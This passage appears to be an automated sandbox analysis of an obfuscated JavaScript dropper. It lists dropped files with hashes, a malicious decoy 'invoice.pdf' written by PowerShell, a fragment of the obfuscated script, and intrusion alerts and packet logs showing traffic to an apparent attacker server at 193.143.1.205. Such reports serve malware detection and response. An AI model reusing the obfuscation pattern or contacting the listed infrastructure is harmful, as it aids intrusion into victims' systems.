isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\480e790a-d85a-44a4-b33f-4860ff8974cf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\59bb37c3-d520-4906-85da-cb8f8e11d58c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWLaGZ4ZwYIGNPS:RB3mlind9i4ufFXpAXkrfUs0kWLaGZ48
MD5:	1D64D25345DD73F100517644279994E6
SHA1:	DE807F82098D469302955DCBE1A963CD6E887737
SHA-256:	0A05C4CE0C4D8527D79A3C9CEE2A8B73475F53E18544622E4656C598BC814DFC
SHA-512:	C0A37437F84B4895A7566E278046CFD50558AD84120CA0BD2EAD2259CA7A30BD67F0BDC4C043D73257773C607259A64B6F6AE4987C8B43BB47241F3C78EB9416
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\85e34b9e-22cf-4cff-a0b5-7a8cff348026.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e3c91e64-554e-4181-96d8-625b26a409f0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7ouWLgGZtwYIGNPJxdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:JVuWLgGZtwZGV3mlind9i4ufFXpAXkrj
MD5:	D18BFDF5A908897850DC35ADE461DA4F
SHA1:	AC6AA5976E18C4FD00C90C35DD2C6966820F7610
SHA-256:	7A0DB3CF9A055CCF0922283A33E772088B0D30D541E5AC7B1FB567AA490081C0
SHA-512:	201D4E21876181BF66364C307ABE99F1A9FD6FF0925E6F17148F765E1024673FC9939C2CC6A6149C25B0EC8DAA06BEE561C712A2C3C865C0889EAC88D45A4E4B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15830), with CRLF line terminators
Entropy (8bit):	4.916853377650173
TrID:
File name:	2609231882173488714.js
File size:	19'358 bytes
MD5:	370da5b45312f34a12361a4beb4e26be
SHA1:	aaedbd18e4e5163170773fc26d41380678ba0a8f
SHA256:	762821e001a480c54d1fa8ebee200ac6b16b65bd7c0e2527a5d44860b841e369
SHA512:	4514831c85411549414473570ab7dccbd13f682ef19fa6fc22c54cb9fff281da0e5375d1f1221bb8d95708da6eb32b7acf52dfe31e013dad73df023555f0048b
SSDEEP:	384:UnQ2jL2FFXFFFDhVf2+7NtPHbDpWcKkNVD/H:UQ2jL2FFXFFFDhYoNx3z
TLSH:	C49204CE8105D7F249E013E89EBB94FB19D942C78DE8C0DA844274BAC75D9805AF63F6
File Content Preview:	function lnpwawcam(){kfmykittt=[1031,3079,5127,4103,2055,3072];var gtgyj=this[gzhub+vurugj+lbetyu+omcwopn+yvpyehepq+dowuaoa+bcynvsrwg+gxqxbjs](this[gbdqkyvpx+dcyjue+zmrkngr+lbetyu+mmqpqb+gzhub+gxqxbjs][jpuwfk+lbetyu+yvpyehepq+vurugj+gxqxbjs+yvpyehepq+uibp

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:33:17.276173+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-10T22:33:20.035354+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:33:16.451493025 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:16.456587076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:16.456739902 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:16.459971905 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:16.464854002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.276051998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.276077032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.276118040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.276169062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.276173115 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.276217937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.276230097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.276241064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.276297092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.276343107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.276355982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.276367903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.276380062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.276398897 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.276417017 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.281030893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.281045914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.281114101 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.318958998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.318978071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.319078922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.404818058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.404839039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.404860020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.404871941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.404884100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.404892921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.404925108 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.405044079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.405091047 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.405116081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.405128956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.405169964 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.405287027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.405299902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.405343056 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.405894041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.406048059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.406059980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.406073093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.406085968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.406091928 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.406117916 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.406744003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.406790972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.406805038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.406817913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.406857967 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.406920910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.406932116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.406972885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.407553911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.407603025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.407614946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.407660007 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.453155041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.453181982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.453192949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.453252077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.453252077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.495227098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.533392906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.533407927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.533421993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.533433914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.533521891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.533560991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.533585072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.533597946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.533613920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.533644915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.533848047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.533869982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.533883095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.533910990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.534120083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.534153938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.534166098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.534168005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.534205914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.534245014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.534290075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.534337044 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.534748077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.534760952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.534779072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.534811020 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.534848928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.534862041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.534873962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.534888983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.534898996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.534915924 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.535655022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.535665989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.535680056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.535715103 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.535736084 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.535737991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.535749912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.535765886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.535793066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.536377907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.536391020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.536403894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.536422968 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.536444902 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.536513090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.536525011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.536535025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.536547899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.536555052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.536607027 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.537199020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.537246943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.537260056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.537302017 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.537379026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.537405014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.537416935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.537430048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.537444115 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.537470102 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.538048029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.538089037 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.543725967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.543737888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.543749094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.543795109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.543814898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.543844938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.543855906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.577637911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.577651024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.577745914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.585822105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.585881948 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.585887909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.585900068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.585937977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.626585960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.626597881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.626689911 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.662218094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.662231922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.662242889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.662292004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.662370920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.662383080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.662431002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.662441015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.662461996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.662468910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.662508011 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.662827969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.662873030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.662884951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.662916899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.662986994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.662998915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.663022995 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.663491011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.663501978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.663513899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.663533926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.663549900 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.663568974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.663579941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.663590908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.663603067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.663614988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.663640022 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.664298058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.664308071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.664320946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 22:33:17.664341927 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:33:17.664407969 CET	80	49709	193.143.1.205	192.168.2.6
